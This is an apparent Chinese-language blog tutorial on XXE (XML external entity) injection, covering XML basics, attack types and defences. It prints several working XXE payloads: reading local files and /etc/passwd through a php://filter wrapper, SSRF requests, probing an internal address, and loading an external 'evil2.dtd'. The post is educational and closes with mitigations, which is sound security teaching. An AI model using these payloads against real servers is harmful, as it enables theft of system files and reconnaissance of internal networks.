WEB漏洞——XXE

XXE漏洞又称XML外部实体注入(XML External Entity)

介绍XXE漏洞前先说一下什么是XML

XML语言

XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言

xml的特性

1:无行为:xml只负责包装数据,没有编程语言的逻辑和行为能力,传送、接收、解析都由应用程序完成。
2:纯文本:只有文本,没有颜色加粗等文本样式(bat,html,txt文件都是纯文本的)。
3:自定义:标签和属性名均可以自定义。

xml的设计宗旨是传输数据,侧重于描述和存放数据,焦点是数据的内容,常用于作为软件配置文件和传输数据

常见的XML语法结构

 

XXE漏洞攻击原理

XXE漏洞发生在程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。

在某些情况下,攻击者可以利用XXE漏洞执行服务器端请求伪造(SSRF)攻击,从而升级XXE攻击,以破坏底层服务器或其他后端基础结构。

pikachu靶场简单演示一下xxe漏洞,文件读取

<?xml version = "1.0"?>
<!DOCTYPE ANY [
    <!ENTITY xxe SYSTEM "file:///D:/CTFTools/test.txt">
]>
<x>&xxe;</x>

 

一般遇到XML语言都可以尝试进行XXE注入

 

XXE漏洞攻击

XXE 攻击类型描述
利用 XXE 检索文件 定义包含文件内容的外部实体,并在应用程序的响应中返回。
利用 XXE 执行 SSRF 攻击 外部实体基于 URL 到后端系统的定义。
利用盲XXE外泄数据带外 将敏感数据从应用程序服务器传输到攻击者控制的系统。
利用盲 XXE 通过错误消息检索数据 攻击者可以触发包含敏感数据的解析错误消息的位置。

 

XXE:本地文件包含示例

#玩法-读文件
<?xml version = "1.0"?>
<!DOCTYPE ANY [
    <!ENTITY xxe SYSTEM "file:///d://test.txt">
]>
<x>&xxe;</x>

结合php伪协议

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ELEMENT root ANY >
<!ENTITY admin SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
]>
<root><name>&admin;</name><password>admin</password></root>

 

XXE:SSRF ( 服务器侧请求伪造 ) 示例

<?xml version="1.0"?>
<!DOCTYPE foo [  
<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "https://www.example.com/text.txt">]>
<foo>&xxe;</foo>

 

XXE:探测内网地址 示例

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY rabbit SYSTEM "http://192.168.0.103:8081/index.txt" >
]>
<x>&rabbit;</x>

 

 #引入外部实体 dtd

?xml version="1.0" ?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "http://127.0.0.1:8081/evil2.dtd">
%file;
]>
<x>&send;</x>
evil2.dtd:
<!ENTITY send SYSTEM "file:///d:/test.txt">

XXE防御

  • 禁止使用外部实体,例如libxml_disable_entity_loader(true)
  • 过滤用户提交的XML数据防止出现非法内容。过滤关键词:<!DOCTYPE 和<!ENTITY,或者 SYSTEM 和 PUBLI
posted @ 2021-09-10 21:22  1_Ry  阅读(285)  评论(0编辑  收藏  举报